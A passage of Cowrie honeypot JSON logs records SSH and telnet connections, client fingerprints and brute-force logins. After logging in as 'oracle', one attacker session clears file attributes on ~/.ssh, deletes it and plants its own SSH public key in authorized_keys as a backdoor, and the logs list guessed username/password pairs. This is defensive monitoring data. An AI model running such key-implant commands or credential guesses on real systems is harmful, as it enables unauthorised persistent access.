-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:05.303162Z","src_ip":"193.24.211.95","session":"75a0c1273b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kenwood","message":"login attempt [root/kenwood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:05.783322Z","src_ip":"193.24.211.95","session":"75a0c1273b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:06.899757Z","src_ip":"193.24.211.95","session":"75a0c1273b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07052516937256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:08.227154Z","src_ip":"147.124.211.111","session":"5816a390704a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792922496795654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:08.387146Z","src_ip":"147.124.211.111","session":"c2c6ae4d83a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98000931739807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:10.353936Z","src_ip":"147.124.211.111","session":"bd8f683f04f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342259645462036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:14.401332Z","src_ip":"147.124.211.111","session":"3cef2ffdd969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16551947593689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:18.087930Z","src_ip":"147.124.211.111","session":"ad0c607ab1fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":58408,"dst_ip":"159.203.135.109","dst_port":23,"session":"9609d2644266","protocol":"telnet","message":"New connection: 147.124.211.111:58408 (159.203.135.109:23) [session: 9609d2644266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:19.780544Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":56684,"dst_ip":"10.17.0.5","dst_port":22,"session":"969fb1177092","protocol":"ssh","message":"New connection: 203.90.110.186:56684 (10.17.0.5:22) [session: 969fb1177092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:21.668128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:21.673846Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:21.908822Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle2022","message":"login attempt [oracle/Oracle2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:23.532825Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:24.039109Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:24.042800Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:24.046998Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35824,"dst_ip":"159.203.135.109","dst_port":23,"session":"57f7eef4c828","protocol":"telnet","message":"New connection: 147.124.211.111:35824 (159.203.135.109:23) [session: 57f7eef4c828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:24.102965Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:24.283537Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:24.792442Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:24.796462Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.034291Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.038459Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":56688,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b393c41d1cb","protocol":"ssh","message":"New connection: 203.90.110.186:56688 (10.17.0.5:22) [session: 1b393c41d1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.240091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.245828Z","src_ip":"203.90.110.186","session":"1b393c41d1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":60914,"dst_ip":"159.203.135.109","dst_port":22,"session":"987004aca504","protocol":"ssh","message":"New connection: 103.86.180.10:60914 (159.203.135.109:22) [session: 987004aca504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.298731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.304682Z","src_ip":"103.86.180.10","session":"987004aca504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35826,"dst_ip":"159.203.135.109","dst_port":23,"session":"c572badbec4b","protocol":"telnet","message":"New connection: 147.124.211.111:35826 (159.203.135.109:23) [session: c572badbec4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.316740Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.458311Z","src_ip":"203.90.110.186","session":"1b393c41d1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:25.503357Z","src_ip":"103.86.180.10","session":"987004aca504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.171961307525635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:26.184901Z","src_ip":"147.124.211.111","session":"c7c49f53da7b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz2wsx3edc","message":"login attempt [git/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:26.322394Z","src_ip":"103.86.180.10","session":"987004aca504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:26.335608Z","src_ip":"203.90.110.186","session":"1b393c41d1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:27.521905Z","src_ip":"103.86.180.10","session":"987004aca504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:27.558018Z","src_ip":"203.90.110.186","session":"1b393c41d1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":33900,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bd793cf09b4","protocol":"ssh","message":"New connection: 203.90.110.186:33900 (10.17.0.5:22) [session: 3bd793cf09b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:27.758974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:27.763672Z","src_ip":"203.90.110.186","session":"3bd793cf09b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:27.975355Z","src_ip":"203.90.110.186","session":"3bd793cf09b4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:28.858004Z","src_ip":"203.90.110.186","session":"3bd793cf09b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:29.073417Z","src_ip":"203.90.110.186","session":"969fb1177092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:29.078465Z","src_ip":"203.90.110.186","session":"3bd793cf09b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41544,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5d1c9baa8f","protocol":"telnet","message":"New connection: 147.124.211.111:41544 (159.203.135.109:23) [session: cd5d1c9baa8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:33.490699Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":49572,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e6dd3403e0d","protocol":"telnet","message":"New connection: 137.184.155.248:49572 (10.17.0.5:23) [session: 6e6dd3403e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:33.768375Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41552,"dst_ip":"159.203.135.109","dst_port":23,"session":"707c689415f5","protocol":"telnet","message":"New connection: 147.124.211.111:41552 (159.203.135.109:23) [session: 707c689415f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:35.475931Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":34952,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e59b731b1a7","protocol":"telnet","message":"New connection: 147.124.211.111:34952 (159.203.135.109:23) [session: 3e59b731b1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:40.637286Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":34960,"dst_ip":"159.203.135.109","dst_port":23,"session":"65f436a16c24","protocol":"telnet","message":"New connection: 147.124.211.111:34960 (159.203.135.109:23) [session: 65f436a16c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:41.325306Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":34976,"dst_ip":"159.203.135.109","dst_port":23,"session":"785e85f6e58a","protocol":"telnet","message":"New connection: 147.124.211.111:34976 (159.203.135.109:23) [session: 785e85f6e58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:42.880211Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":34966,"dst_ip":"159.203.135.109","dst_port":23,"session":"876db16df2f6","protocol":"telnet","message":"New connection: 147.124.211.111:34966 (159.203.135.109:23) [session: 876db16df2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:43.140519Z"}
{"eventid":"cowrie.session.closed","duration":48.21887183189392,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:47.852839Z","src_ip":"137.184.155.248","session":"c3c93af5405f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":34978,"dst_ip":"159.203.135.109","dst_port":23,"session":"865180843b18","protocol":"telnet","message":"New connection: 147.124.211.111:34978 (159.203.135.109:23) [session: 865180843b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:48.911022Z"}
{"eventid":"cowrie.session.closed","duration":30.716426849365234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:50.496809Z","src_ip":"147.124.211.111","session":"9609d2644266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":48144,"dst_ip":"10.17.0.5","dst_port":23,"session":"4627f98080fe","protocol":"telnet","message":"New connection: 137.184.155.248:48144 (10.17.0.5:23) [session: 4627f98080fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:51.956622Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":39622,"dst_ip":"159.203.135.109","dst_port":22,"session":"51ef5412de8f","protocol":"ssh","message":"New connection: 102.211.152.138:39622 (159.203.135.109:22) [session: 51ef5412de8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:52.120818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:55:52.125478Z","src_ip":"102.211.152.138","session":"51ef5412de8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh